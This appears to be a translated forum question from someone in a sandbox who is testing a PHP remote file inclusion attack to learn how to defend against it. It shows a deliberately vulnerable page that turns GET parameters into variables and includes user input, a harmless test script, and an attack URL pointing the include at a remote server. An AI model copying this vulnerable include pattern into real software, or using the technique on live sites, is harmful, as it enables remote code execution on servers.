我已经设置了一个沙箱并尝试运行漏洞利用,以便更好地了解如何更好地防御它们。当我运行以下命令时,该过程因正确原因而失败。但是我不确定,因为我找不到很多“如何编写适当的漏洞利用”。这是我的代码,以下是失败消息。任何指导都会很棒。
//unform.php (unprotected form)
<html>
<head>
<title>Try An Exploit</title>
<?php
if (!empty($_GET)){
foreach($_GET as $key=>$value){
${$key} = $value;
}
}
//no sanitizer here.
echo $key;
include($value);
?>
</head>
<body>
<h1>This Is Bad</h1>
<form action="#" method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit" value="Kick Me" />
</form>
</body>
利用脚本,简单的东西:
exploit.php
<?php
$somevar = "This is just a string";
echo $somevar;
?>
坏人会在他们的浏览器地址栏中硬编码以下内容:
http://www.sandbox.com/path/to/unform.php?COLOR=http://www.remoteserv.com/exploit.php
尝试加载地址时输出到浏览器:
Warning: include() [function.include]: http:// wrapper is disabled in the server configuration by allow_url_include=0
是这样吗?或者还有其他我应该注意的技术吗?
谢谢